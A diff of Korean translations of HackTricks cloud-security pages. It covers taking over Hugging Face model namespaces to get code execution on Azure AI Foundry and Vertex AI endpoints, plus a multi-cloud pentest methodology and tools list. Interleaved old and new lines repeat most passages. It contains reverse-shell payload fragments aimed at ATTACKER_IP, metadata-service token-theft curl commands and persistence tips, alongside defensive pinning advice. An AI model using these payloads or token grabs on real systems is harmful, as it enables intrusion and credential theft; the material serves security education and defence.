3) 릴리스 브랜치에서 브랜치 보호를 구성하여 **Require a pull request**를 요구하고 승인 수를 ≥1로 설정하며 **새 커밋 푸시 시 승인 무효화(Dismiss approvals when new commits are pushed)**와 **가장 최근의 reviewable push에 대한 승인 요구(Require approval of the most recent reviewable push)**를 모두 활성화합니다.
이 연쇄적 보호는 워크플로우 밖에서 배포 게이트가 강제되므로, 단일 협력자가 workflow YAML을 편집해 태그를 재지정하거나 강제로 릴리스를 퍼블리시하는 것을 방지합니다.
## References
@@ -1,16 +1,16 @@
# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse
# Azure - AI Foundry Post-Exploitation via Hugging Face 모델 네임스페이스 재사용
{{#include ../../../banners/hacktricks-training.md}}
## 시나리오
- Azure AI Foundry Model Catalog에는 원클릭 배포를 위한 많은 Hugging Face (HF) 모델이 포함되어 있습니다.
- HF 모델 식별자는 Author/ModelName입니다. HF author/org가 삭제되면 누구든지 해당 author를 재등록하고 같은 ModelName으로 레거시 경로에 모델을 게시할 수 있습니다.
- 이름만으로 가져오는 pipelines 및 catalogs(커밋 핀ning/무결성 검증 없음)는 공격자 제어 저장소로 해석될 수 있습니다. Azure가 모델을 배포하면 loader code가 endpoint 환경에서 실행되어 해당 endpoint의 권한으로 RCE를 획득할 수 있습니다.
- Azure AI Foundry Model Catalog에는 원클릭 배포를 위한 많은 Hugging Face (HF) 모델이 포함되어 있다.
- HF 모델 식별자는 Author/ModelName다. HF author/org가 삭제되면, 누구 해당 author를 재등록하여 동일한 ModelName으로 legacy path에 모델을 게시할 수 있다.
- 이름만으로(pull by name) 가져오는 pipelines 및 catalogs(commit pinning/무결성 체크 없음)는 공격자 제어의 repo로 해석된다. Azure가 모델을 배포할 때 loader code가 endpoint 환경에서 실행되어 해당 endpoint의 권한으로 RCE를 획득할 수 있다.
일반적인 HF takeover 사례:
- Ownership deletion: 이전 경로가 takeover 전까지 404가 됩니다.
- Ownership transfer: 기존 author가 존재하는 동안 이전 경로 새 author로 307 리다이렉트됩니다. 이후 기존 author가 삭제되고 재등록되면 리다이렉트가 깨지고 공격자의 repo가 레거시 경로에서 제공됩니다.
- 소유권 삭제: takeover가 이루어질 때까지 기존 경로가 404가 다.
- 소유권 이전: 기존 author가 존재하는 동안 기존 경로 새 author로 307 리다이렉트다. 이후 기존 author가 삭제되고 재등록되면 redirect가 깨지고 공격자의 repo가 legacy path에서 서비스된다.
## 재사용 가능한 네임스페이스(HF) 식별
```bash
@@ -23,10 +23,10 @@ curl -I https://huggingface.co/<Author>/<ModelName>
```
## Azure AI Foundry에 대한 엔드투엔드 공격 흐름
1) Model Catalog에서 HF에서 원저자가 삭제되었거나 이전되어(기존 작성자 제거) 방치된 HF 모델을 찾습니다.
2) HF에서 방치된 작성자를 등록하고 ModelName을 재생성합니다.
3) import 시 실행되거나 trust_remote_code=True가 필요한 로더 코드를 포함 악성 repo를 게시합니다.
4) Azure AI Foundry에서 레거시 Author/ModelName을 배포합니다. 플랫폼이 공격자 repo를 가져오면 로더가 Azure endpoint의 container/VM 내부에서 실행되어 endpoint 권한으로 RCE를 획득합니다.
1) Model Catalog에서 원래 작성자가 HF에서 삭제되었거나 이전되어(기존 작성자 제거된) HF 모델을 찾습니다.
2) HF에서 방치된 작성자를 다시 등록하고 ModelName을 재생성합니다.
3) import 시 실행되거나 trust_remote_code=True를 요구하는 loader code가 포함 악성 repo를 게시합니다.
4) Azure AI Foundry에서 레거시 Author/ModelName을 배포합니다. 플랫폼이 공격자 repo를 가져오고; loader가 Azure endpoint의 container/VM 내부에서 실행되어 endpoint 권한을 가진 RCE를 획득합니다.
예시 페이로드 조각 (import 시 실행됨, 시연용):
```python
@@ -45,42 +45,42 @@ subprocess.call(["/bin/sh","-i"]) # or powershell on Windows images
if os.environ.get("AZUREML_ENDPOINT","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
참고
- AI Foundry HF와 통합된 deployments는 일반적으로 모델의 config에서 참조되는 repo 모듈을 clone하고 import하며(예: auto_map), 이는 코드 실행을 유발할 수 있습니다. 일부 경로는 trust_remote_code=True가 필요합니다.
- 접근 권한은 보통 endpoint의 managed identity/service principal 권한과 일치합니다. 이를 Azure 내 데이터 접근 및 lateral movement를 위한 초기 foothold로 간주하세요.
Notes
- AI Foundry 배포는 HF와 통합될 때 일반적으로 모델의 config에서 참조 repo 모듈(예: auto_map)을 클론하고 import하며, 이는 코드 실행을 유발할 수 있습니다. 일부 경로는 trust_remote_code=True가 필요합니다.
- 접근 권한은 보통 엔드포인트의 managed identity/service principal 권한과 일치합니다. 이를 데이터 접근 및 lateral movement within Azure를 위한 초기 발판으로 간주하세요.
## Post-Exploitation Tips (Azure Endpoint)
- 환경 변수와 MSI endpoints에서 토큰을 열거하세요:
- environment variables 및 MSI endpoints에서 tokens을 열거하세요:
```bash
# Azure Instance Metadata Service (inside Azure compute)
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
```
- 획득한 token으로 마운트된 스토리지, 모델 아티팩트 및 접근 가능한 Azure 서비스 확인하세요.
- 플랫폼이 HF에서 다시 pull할 경우를 대비해 persistence를 위해 오염된 모델 아티팩트를 남기는 것을 고려하세요.
- 획득한 token으로 마운트된 스토리지, model artifacts 및 접근 가능한 Azure 서비스들을 확인하세요.
- 플랫폼이 HF에서 다시 pull할 경우, poisoned model artifacts를 남겨 persistence를 고려하세요.
## Azure AI Foundry 사용자 방어 지침
## Azure AI Foundry 사용자를 위한 방어 지침
- HF에서 로드할 때 commit으로 모델을 Pin하세요:
- HF에서 로드할 때 모델을 commit 단위로 pin하세요:
```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
```
- 검증된 HF 모델을 신뢰되는 내부 레지스트리에 미러링한 후 거기서 배포합니다.
- codebases와 defaults/docstrings/notebooks를 지속적으로 스캔하여 삭제되거나 이전된 하드코딩된 Author/ModelName을 찾아 업데이트하거나 고정(pin)합니다.
- 배포 전에 author 존재 여부와 모델 출처(provenance)를 검증합니다.
- 검증된 HF models를 신뢰할 수 있는 내부 레지스트리에 미러링하고 거기서 배포하세요.
- 코드베이스와 defaults/docstrings/notebooks를 지속적으로 스캔하여 삭제되거나 이전된 하드코딩된 Author/ModelName을 찾아 업데이트하거나 (pin)하세요.
- 배포하기 전에 author 존재 여부와 모델 출처(provenance)를 검증하세요.
## 인식 휴리스틱 (HTTP)
- Deleted author: author 페이지 404; 레거시 모델 경로는 인수 전까지 404.
- Transferred model: 레거시 경로가 기존 author가 존재하는 동안 새로운 author로 307 리다이렉트됨; 이후 기존 author가 삭제되고 재등록되면 레거시 경로가 공격자 콘텐츠를 제공함.
- Deleted author: author 페이지 404; legacy model path 404 until takeover.
- Transferred model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content.
```bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
```
## 교차 참조
- 더 광범위한 방법론 및 공급망 관련 노트를 확인하세요:
- 더 광범위한 방법론 및 공급망 관련 노트를 참조하세요:
{{#ref}}
../../pentesting-cloud-methodology.md
@@ -1,4 +1,4 @@
# GCP - 포스트 익스플로이테이션
# GCP - Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,18 +4,18 @@
## 시나리오
- Vertex AI Model Garden은 많은 Hugging Face (HF) 모델을 직접 배포할 수 있니다.
- HF 모델 식별자는 Author/ModelName입니다. HF author/org가 삭제되면 동일한 author 이름 누구나 등록할 수 있습니다. 공격자는 그런 다음 legacy path에 동일한 ModelName으로 repo를 생성할 수 있습니다.
- 이름만으로(pinning이나 무결성 검증 없이) 가져오는 Pipelines, SDKs, 또는 cloud catalogs는 공격자 제어 repo를 가져옵니다. 모델이 배포되면 해당 repo의 loader code가 Vertex AI endpoint 컨테이너 내에서 실행되어 endpoint의 권한으로 RCE를 발생시킬 수 있습니다.
- Vertex AI Model Garden은 많은 Hugging Face (HF) 모델을 직접 배포할 수 있게 합니다.
- HF 모델 식별자는 Author/ModelName입니다. HF에서 author/org가 삭제되면 동일한 author 이름 누구나 다시 등록할 수 있습니다. 공격자는 그런 동일한 ModelName으로 레거시 경로에 repo를 생성할 수 있습니다.
- 이름만으로 가져오는 Pipelines, SDKs, 또는 cloud catalogs(pinning/integrity 없음)는 공격자 제어하는 repo를 내려받습니다. 모델이 배포되면 해당 repo의 loader 코드가 Vertex AI endpoint 컨테이너 내에서 실행되어 endpoint의 권한으로 RCE를 얻을 수 있습니다.
HF에서 흔한 두 가지 takeover 사례:
- 소유권 삭제(Ownership deletion): 이전 경로가 404를 반환하며 누군가 author를 재등록하고 동일한 ModelName을 게시할 때까지 404 상태입니다.
- 소유권 이전(Ownership transfer): HF는 이전 Author/ModelName에서 새 소유자에게 307 리다이렉트를 발행합니다. 이후 이전 author가 삭제되고 공격자가 재등록하면 리다이렉트 체인이 깨지며 공격자의 repo가 legacy path에서 제공됩니다.
Two common takeover cases on HF:
- Ownership deletion: Old path 404 until someone re-registers the author and publishes the same ModelName.
- Ownership transfer: HF issues 307 redirects from old Author/ModelName to the new author. If the old author is later deleted and re-registered by an attacker, the redirect chain is broken and the attackers repo serves at the legacy path.
## 재사용 가능한 네임스페이스 파악 (HF)
## 재사용 가능한 네임스페이스(HF) 식별
- 이전 author가 삭제된 경우: author 페이지 404를 반환합니다; 모델 경로는 takeover가 발생할 때까지 404를 반환할 수 있습니다.
- 이전에 이전된 모델(Transferred models): 이전 모델 경로는 이전 author가 존재하는 동안 새 소유자에게 307을 발행합니다. 이후 이전 author가 삭제되고 재등록되면 legacy path가 공격자의 repo로 해석됩니다.
- 이전 author가 삭제된 경우: author 페이지 404를 반환합니다; 모델 경로는 takeover가 일어날 때까지 404를 반환할 수 있습니다.
- 이전된 모델: 이전 모델 경로는 기존 author가 존재하는 동안 새 소유자에게 307을 보냅니다. 이후 이전 author가 삭제되고 재등록되면 레거시 경로는 공격자의 repo로 해석됩니다.
curl로 빠르게 확인:
```bash
@@ -28,24 +28,24 @@ curl -I https://huggingface.co/<Author>/<ModelName>
# 307 = redirect to new owner (transfer case)
# 404 = missing (deletion case) until someone re-registers
```
## Vertex AI에 대한 엔드 투 엔드 공격 흐름
## Vertex AI에 대한 종단 간 공격 흐름
1) Model Garden에서 'deployable'로 표시 재사용 가능한 모델 네임스페이스를 찾는다:
1) Model Garden이 배포 가능(deployable)으로 표시 재사용 가능한 모델 네임스페이스를 발견한다:
- Vertex AI Model Garden에서 여전히 “verified deployable”로 표시되는 HF 모델을 찾는다.
- HF에서 원래 작성자가 삭제되었는지, 또는 모델이 transferred되어 이전 작성자가 이후에 제거되었는지 확인한다.
- 원저자가 삭제되었는지, 또는 모델이 이전되어 이전 자가 이후에 제거되었는지 HF에서 확인한다.
2) 삭제된 작성자를 HF에 다시 등록하고 동일한 ModelName을 재생성한다.
2) 삭제된 자를 HF에 등록하고 동일한 ModelName을 재생성한다.
3) 악성 repo를 게시한다. 모델 로드 시 실행되는 코드를 포함시킨다. HF 모델 로드 중 흔히 실행되는 예:
- repo의 __init__.py에 있는 부작용
- config/auto_map에서 참조되는 custom modeling_*.py 또는 처리 코드
- Transformers 파이프라인에서 trust_remote_code=True를 필요로 하는 코드 경로
3) 악성 repo를 게시한다. 모델 로드 시 실행되는 코드를 포함시킨다. HF 모델 로드 중 일반적으로 실행되는 예:
- repo의 __init__.py에서의 부작용
- config/auto_map에서 참조되는 사용자 정의 modeling_*.py 또는 processing 코드
- Transformers pipelines에서 trust_remote_code=True를 요구하는 코드 경로
4) 레거시 Author/ModelName Vertex AI 배포가 이제 공격자 repo를 가져온다. 로더는 Vertex AI endpoint 컨테이너 내부에서 실행된다.
4) 구형 Author/ModelName으로 배포된 Vertex AI가 이제 공격자 repo를 끌어온다. 로더는 Vertex AI endpoint 컨테이너 내부에서 실행된다.
5) 페이로드는 endpoint 환경에서(RCE) endpoint의 권한으로 접근을 확보한다.
5) 페이로드는 endpoint 환경에서 (RCE)를 통해 endpoint의 권한으로 접근을 확보한다.
Example payload fragment executed on import (for demonstration only):
예시 페이로드 조각 (import 시 실행, 데모용):
```python
# Place in __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
@@ -63,43 +63,43 @@ if os.environ.get("VTX_AI","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
참고
- 실제 로더는 다양합니다. 많은 Vertex AI HF 통합은 모델의 config에 참조 repo 모듈(예: auto_map)을 clone import하며, 이는 code execution을 유발할 수 있습니다. 일부 사용 사례에서는 trust_remote_code=True가 필요합니다.
- endpoint는 일반적으로 제한된 범위의 전용 컨테이너에서 실행되지만, 데이터 접근 및 GCP 내 횡적 이동을 위한 유효한 초기 발판이 될 수 있습니다.
- 실제 환경의 로더는 다양합니다. 많은 Vertex AI HF integrations는 모델의 config에 참조되는 repo 모듈을 clone하고 import하는데(예: auto_map), 이는 코드 실행을 유발할 수 있습니다. 일부 사용 사례는 trust_remote_code=True를 요구합니다.
- 해당 endpoint는 일반적으로 제한된 범위의 전용 container에서 실행되지만, 데이터 접근 및 GCP 내 횡적 이동을 위한 유효한 초기 발판이 될 수 있습니다.
## Post-Exploitation Tips (Vertex AI Endpoint)
Once code is running inside the endpoint container, consider:
- 자격증명/토큰을 위해 환경 변수와 메타데이터 열거
- 연결된 스토리지 또는 마운트된 모델 아티팩트에 접근
- 서비스 계정 신원으로 Google APIs와 상호작용 (Document AI, Storage, Pub/Sub 등)
- 플랫폼이 repo를 다시 pull하면 모델 아티팩트에 지속성 확보
- credentials/tokens 확보를 위해 environment variables 및 metadata 열거
- 연결된 storage 또는 마운트된 model artifacts에 접근
- service account identity를 통해 Google APIs(Document AI, Storage, Pub/Sub 등)와 상호작용
- 플랫폼이 repo를 재풀(re-pull)할 경우 model artifact에 persistence 확보
접근 가능하면 인스턴스 메타데이터를 열거하세요 (컨테이너에 따라 다름):
접근 가능하면 instance metadata를 열거하세요 (container dependent):
```bash
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```
## Vertex AI 사용자를 위한 방어 지침
- HF loaders에서 commit 단위로 모델을 Pin하여 알림 없이 교체되는 것을 방지하세요:
- HF loaders에서 commit로 모델을 고정(Pin)하여 무단 교체를 방지하세요:
```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
```
- 검증된 HF 모델을 신뢰할 수 있는 내부 아티팩트 스토어/레지스트리 미러링하고 그곳에서 배포하세요.
- 코드베이스와 configs를 지속적으로 스캔하여 삭제되었거나 이전된 하드코딩된 Author/ModelName을 찾아 새 네임스페이스로 업데이트하거나 커밋으로 고정하세요.
- Model Garden에서 배포 전에 모델 출처와 작성자 존재 여부를 확인하세요.
- 검증된 HF 모델을 신뢰할 수 있는 내부 아티팩트 스토어/레지스트리 미러링하고 거기서 배포하세요.
- 코드베이스와 설정을 지속적으로 스캔하여 삭제되었거나 이전된 하드코딩된 Author/ModelName을 찾아 새 네임스페이스로 업데이트하거나 커밋으로 고정하세요.
- Model Garden에서 배포 전에 모델 출처와 자 존재 여부를 확인하세요.
## 인식 휴리스틱 (HTTP)
## 탐지 휴리스틱 (HTTP)
- 삭제된 작성자: 작성자 페이지 404; 인수(takeover) 전까지 이전(legacy) 모델 경로가 404를 반환합니다.
- 이전된 모델: 이전(legacy) 경로가 기존 작성자가 존재하는 동안 새 작성자로 307(리다이렉트)됨; 만약 기존 작성자가 이후 삭제되고 재등록되면 이전 경로가 공격자 콘텐츠를 제공할 수 있습니다.
- 삭제된 자: 자 페이지 404; 레거시 모델 경로는 계정 탈취 전까지 404.
- 이전된 모델: 기존 자가 존재하는 동안 레거시 경로가 새 저자로 307 리다이렉트됨; 만약 기존 자가 나중에 삭제되고 재등록되면 레거시 경로가 공격자 콘텐츠를 제공.
```bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
```
## 교차 참조
- 더 광범위한 방법론 및 공급망 관련 메모를 참조하세요:
- 더 광범위한 방법론 및 공급망 관련 노트를 참조하세요:
{{#ref}}
../../pentesting-cloud-methodology.md
@@ -6,39 +6,39 @@
## 기본 방법론
각 클라우드마다 특성이 다르지만 일반적으로 클라우드 환경을 테스트할 때 **pentester가 점검해야 할 몇 가지 공통 항목** 있습니다:
각 클라우드마다 고유한 특성이 지만 일반적으로 클라우드 환경을 테스트할 때 확인해야 할 몇 가지 **common things a pentester should check** 있습니다:
- **벤치마크 점검**
- 이는 환경의 **규모** **사용 중인 서비스**를 파악하는 데 도움이 됩니다
- 대부분의 테스트를 **자동화 도구**로 수행할 수 있으므로 일부 **빠른 구성 오류** 찾는 데도 도움이 됩니다
- **서비스 열거**
- 벤치마크 테스트를 제대로 수행했다면 여기서 더 많은 구성 오류를 찾지 못할 가능성이 높지만, 벤치마크에서 확인하지 않았던 일부 오류를 찾을 수 있습니다.
-를 통해 클라우드 환경에서 **정확히 무엇이 사용되고 있는지** 알 수 있니다
- 다음 단계에서 많은 도움이 됩니다
- **노출된 자산 확인**
- 작업은 이전 섹션에서 수행할 수 있으며, 인터넷에 어떤 식으로든 **잠재적으로 노출될 수 있는 모든 것**과 그것이 어떻게 접근될 수 있는지를 찾아야 합니다.
- 여기서는 인스턴스(웹 페이지 또는 다른 포트가 노출된 경우)와 같이 **수동으로 노출된 인프라**노출되도록 구성될 수 있는 다른 **클라우드 관리형 서비스**(예: DBs 또는 buckets)를 다룹니다
- 그런 다음 해당 리소스가 실제로 **노출될 수 있는지 여부**를 확인해야 합니다(민감한 정보인가? 취약점이 있는가? 노출된 서비스의 구성 오류인가?)
- **권한 확인**
- 여기서는 클라우드 내 각 역할/사용자의 **모든 권한이 무엇인지** 그것들이 어떻게 사용되는지를 찾아야 합니다
- 너무 **권한이 높은 계정**(모든 것을 제어하는 계정)너무 많은가? 생성된 키가 사용되지 않고 있는가?... 이러한 대부분의 점검은 이미 벤치마크 테스트에서 수행되었어야 합니다
- 클라이언트가 OpenID나 SAML 또는 다른 **페더레이션**을 사용 중이라면, 각 역할이 **어떻게 할당되는지**에 대 추가 **정보**를 요청해야 할 수도 있습니다(관리자 역할이 1명에게 할당 것과 100명에게 할당 것은 다릅니다)
- 사용자가 "*:\*"와 같은 **admin** 권한을 가지고 있는지를 찾는 것만으로는 충분하지 않습니다. 사용 중인 서비스에 따라 매우 **민감한** 많은 **다른 권한들**이 존재합니다.
- 또한 권한을 남용하여 진행할 수 있는 **잠재적 privesc** 경로들이 있습니다. 이 모든 것을 고려하 가능한 많은 **privesc 경로**가 보고되어야 합니다.
- **통합 확인**
- 클라우드 환경 내에서 **다른 클라우드나 SaaS와의 통합**이 사용되고 있을 가능성이 높습니다.
- 감사 중인 클라우드 다른 플랫폼과 통합된 경우, 누가 그 통합을 (남용)할 수 있는지 **누가 접근 권한을 가지고 있는지** 알리고, 수행되는 작업이 **얼마나 민감한지** 물어야 합니다.\
예를 들어, GCP가 데이터를 가져오는 AWS 버킷에 누가 쓰기 권한이 있는지(해당 데이터를 GCP에서 처리할 때 작업이 얼마나 민감한지 물어보세요).
- 감사 중인 클라우드 내부로 외부 플랫폼에서 통합되어 있는 경우, 그 통합을 외부에서 (남용)할 수 있는 **누가 접근 권한을 가지고 있는지** 물어보고 해당 데이터가 어떻게 사용되는지 확인해야 합니다.\
예를 들어, 어떤 서비스가 GCR에 호스팅된 Docker 이미지를 사용하고 있다면, 누가 그것을 수정할 수 있는지, 그리고 그 이미지가 AWS 클라우드 내부에서 실행될 때 어떤 민감한 정보와 접근 권한을 얻는지 물어야 합니다.
- **Benchmark checks**
- 이는 환경의 **규모를 이해하는 것** **사용되는 서비스**를 파악하는 데 도움이 됩니다.
- 대부분의 테스트를 **자동화 도구**로 수행할 수 있기 때문에 빠른 **잘못된 구성(misconfigurations)** 찾는 데도 도움이 됩니다.
- **Services Enumeration**
- 벤치마크 테스트를 올바르게 수행했다면 여기서 더 많은 잘못된 구성을 찾기 어려울 수 있지만, 벤치마크에서 찾지 못한 항목을 발견할 있습니다.
- 클라우드 환경에서 **정확히 무엇이 사용되고 있는지** 알 수 있게 해줍니다.
- 다음 단계에서 많은 도움이 됩니다.
- **Check exposed assets**
- 이전 섹션 동안 수행할 수 있으며, 인터넷에 **잠재적으로 노출 모든 것**과 그것이 어떻게 접근는지를 찾아야 합니다.
- 여기서는 웹 페이지 다른 포트가 노출된 인스턴스와 같은 **수동으로 노출된 인프라**뿐만 아니라 DBs나 buckets처럼 **노출되도록 구성될 수 있는 클라우드 관리형 서비스**도 포함합니다.
- 그런 다음 해당 리소스가 **노출될 수 있는지 여부**(기밀 정보인가? 취약점가? 노출된 서비스의 설정 오류인가?)를 확인해야 합니다.
- **Check permissions**
- 여기서는 클라우드 내 각 역할/사용자의 **모든 권한을 찾아내고** 그것들이 어떻게 사용되는지를 확인해야 합니다.
- 너무 **많은 고권한**(모든 것을 제어) 계정이 있는가? 생성된 키가 사용되지 않고 있는가? 대부분의 이러한 점검은 이미 벤치마크 테스트에서 수행되었어야 합니다.
- 클라이언트가 OpenID나 SAML 또는 다른 **federation**을 사용 중이라면 각 역할이 **어떻게 할당되는지**에 대 추가 **정보**를 요청해야 할 수도 있습니다(관리자 역할이 1명에게 할당되는 것과 100명에게 할당되는 것은 같지 않습니다).
- 단순히 어떤 사용자가 **admin** 권한 "*:*"을 가지고 있는지를 찾는 것만으로는 충분하지 않습니다. 사용되는 서비스에 따라 매우 **민감한 다른 많은 권한들**이 있습니다.
- 또한 권한을 남용하여 따를 수 있는 **잠재적 privesc** 경로들이 있습니다. 이 모든 것을 고려하 가능한 많은 privesc 경로 보고야 합니다.
- **Check Integrations**
- 클라우드 환경 내에서 다른 클라우드나 SaaS와의 **통합(integrations)**이 사용되고 있을 가능성이 매우 높습니다.
- 감사를 하는 클라우드 다른 플랫폼 간의 **통합**에 대해서는 누가 그 통합을 (남용)할 수 있는지 **알려야** 하며, 수행되는 작업이 **어느 정도 민감한지** 물어보아야 합니다.\
예를 들어, GCP가 데이터를 가져오는 AWS 버킷에 누가 쓰기 권한이 있는지(그 작업이 GCP에서 해당 데이터를 처리할 때 얼마나 민감한지 물어보세요).
- 감사를 하는 클라우드 내부로 외부 플랫폼에서의 **통합**에 대해서는 외부에서 누가 그 통합을 (남용)할 수 있는 물어보고 해당 데이터가 어떻게 사용되는지 확인해야 합니다.\
예를 들어, 어떤 서비스가 GCR에 호스팅된 Docker 이미지를 사용다면 누가 그 이미지를 수정할 수 있는지, 그리고 그 이미지가 AWS 클라우드 내부에서 실행될 때 어떤 민감한 정보와 접근 권한을 얻게 되는지 물어보아야 합니다.
## 다중 클라우드 도구
## Multi-Cloud 도구
여러 클라우드 환경을 테스트하는 데 사용할 수 있는 도구들이 있습니다. 설치 단계와 링크는 이 섹션에 표시됩니다.
여러 클라우드 환경을 테스트하는 데 사용할 수 있는 도구들이 있습니다. 이 섹션에서는 설치 단계와 링크를 안내합니다.
### [PurplePanda](https://github.com/carlospolop/purplepanda)
클라우드 및 클라우드/SaaS 간의 잘못된 구성과 privesc 경로를 **식별하는 도구**.
클라우드 및 클라우드/SaaS 간의 **잘못된 구성과 privesc 경로를 식별**하는 도구입니다.
{{#tabs }}
{{#tab name="Install" }}
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
### [Prowler](https://github.com/prowler-cloud/prowler)
다음 플랫폼을 지원합니다: **AWS, GCP & Azure**. 각 제공자를 구성하는 방법은 [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)에서 확인하세요.
이 도구는 **AWS, GCP & Azure**를 지원합니다. 각 제공자를 구성하는 방법은 [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)에서 확인하세요.
```bash
# Install
pip install prowler
@@ -170,7 +170,7 @@ steampipe check all
<summary>모든 프로젝트 확인</summary>
모든 프로젝트를 확인하려면 테스트할 모든 프로젝트를 지정하는 `gcp.spc` 파일을 생성해야 합니다. 다음 스크립트의 지침을 따르면 됩니다.
모든 프로젝트를 확인하려면 테스트할 모든 프로젝트를 지정 `gcp.spc` 파일을 생성해야 합니다. 아래 스크립트의 지침을 따르면 됩니다.
```bash
FILEPATH="/tmp/gcp.spc"
rm -rf "$FILEPATH" 2>/dev/null
@@ -194,11 +194,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
```
</details>
다음을 사용해 **다른 GCP 인사이트** (서비스 열거에 유용)를 확인하세요: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
서비스 열거에 유용한 **다른 GCP 인사이트**를 확인하려면: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
Terraform GCP 코드를 확인하려면: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
Steampipe의 더 많은 GCP 플러그인: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
Steampipe의 추가 GCP 플러그인을 보려면: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
{{#endtab }}
{{#tab name="AWS" }}
@@ -233,16 +233,16 @@ More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aw
### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
AWS, GCP, Azure, DigitalOcean.\
python2.7이 필요하며 유지보수되지 않는 것으로 보입니다.
지원: AWS, GCP, Azure, DigitalOcean.\
python2.7이 필요하며 유지보수되지 않는 것으로 보.
### Nessus
Nessus_**Audit Cloud Infrastructure**_ 스캔이 있어 다음을 지원합니다: AWS, Azure, Office 365, Rackspace, Salesforce. **Azure**에서 **Client Id**를 얻으려면 몇 가지 추가 구성이 필요합니다.
Nessus는 _**Audit Cloud Infrastructure**_ 스캔을 제공하며 지원 대상: AWS, Azure, Office 365, Rackspace, Salesforce. **Azure**에서 **Client Id**를 얻기 위해 일부 추가 구성이 필요.
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
Cloudlist는 Cloud Providers로부터 (Hostnames, IP Addresses) 같은 Assets를 수집하는 **multi-cloud tool for getting Assets**입니다.
Cloudlist는 Cloud Providers로부터 Assets (Hostnames, IP Addresses)를 가져오는 **multi-cloud tool for getting Assets**입니다.
{{#tabs }}
{{#tab name="Cloudlist" }}
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \
### [**starbase**](https://github.com/JupiterOne/starbase)
Starbase는 클라우드 인프라, SaaS 애플리케이션, 보안 통제 등을 포함한 서비스 및 시스템에서 자산과 관계를 수집하여 Neo4j 데이터베이스에 의해 지원되는 직관적인 그래프 뷰로 통합합니다.
Starbase는 클라우드 인프라, SaaS 애플리케이션, 보안 통제 등 서비스를 포함한 시스템에서 자산과 관계를 수집하여 Neo4j 데이터베이스 기반의 직관적인 그래프 뷰로 제공합니다.
{{#tabs }}
{{#tab name="Install" }}
@@ -372,13 +372,13 @@ Scan-AzureAdmins
```
### [Cloud Brute](https://github.com/0xsha/CloudBrute)
회사(대상) 인프라, 파일 및 앱을 주요 클라우드 제공업체(Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode)에서 찾아는 도구.
회사(대상) 인프라, 파일 및 앱을 주요 클라우드 제공업체(Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode)에서 찾아는 도구입니다.
### [CloudFox](https://github.com/BishopFox/cloudfox)
- CloudFox는 클라우드 인프라에서 악용 가능한 attack paths를 찾는 도구입니다 (현재는 AWS & Azure만 지원하며 GCP는 지원 예정).
- 이는 수동 pentesting을 보완하기 위한 enumeration tool입니다.
- 클라우드 환경 내의 데이터를 생성하거나 수정하지 않습니다.
- CloudFox는 cloud infrastructure에서 exploitable attack paths를 찾는 도구입니다(현재는 AWS & Azure만 지원하며 GCP는 추후 지원 예정입니다).
- 수동 pentesting을 보완하도록 설계된 enumeration 도구입니다.
- cloud environment 내의 데이터를 생성하거나 수정하지 않습니다.
### More lists of cloud security tools
@@ -412,10 +412,11 @@ azure-security/
### Attack Graph
[**Stormspotter** ](https://github.com/Azure/Stormspotter)은 Azure subscription의 리소스에 대한 “attack graph”를 생성합니다. 이는 red teams와 pentesters가 테넌트 내의 attack surface pivot 기회를 시각화할 수 있도록 하며, 수비자가 incident response 작업의 우선순위를 빠르게 파악하고 대응 속도를 높이게 합니다.
[**Stormspotter** ](https://github.com/Azure/Stormspotter)creates an “attack graph” of the resources in an Azure subscription. 이를 통해 red teams와 pentesters가 attack surface pivot 기회를 시각화할 수 있으며, defenders가 incident response 작업의 우선순위를 빠르게 파악하고 정하는 데 큰 도움을 줍니다.
### Office365
이 작업을 위해서는 **Global Admin** 권한이 필요하거나 최소한 **Global Admin Reader** 권한이 필요합니다(단, Global Admin Reader는 다소 제한적입니다). 다만 이러한 제한은 일부 PS 모듈에서 발생하며, 기능에 **웹 애플리케이션을 통해** 접근하면 우회할 수 있습니다.
Global Admin 또는 최소한 Global Admin Reader 권한이 필요합니다(단, Global Admin Reader는 약간 제한적입니다). 그러나 이러한 제한은 일부 PS modules에서 나타나며, 웹 애플리케이션을 통해 기능에 접근하면 우회할 수 있습니다.
{{#include ../banners/hacktricks-training.md}}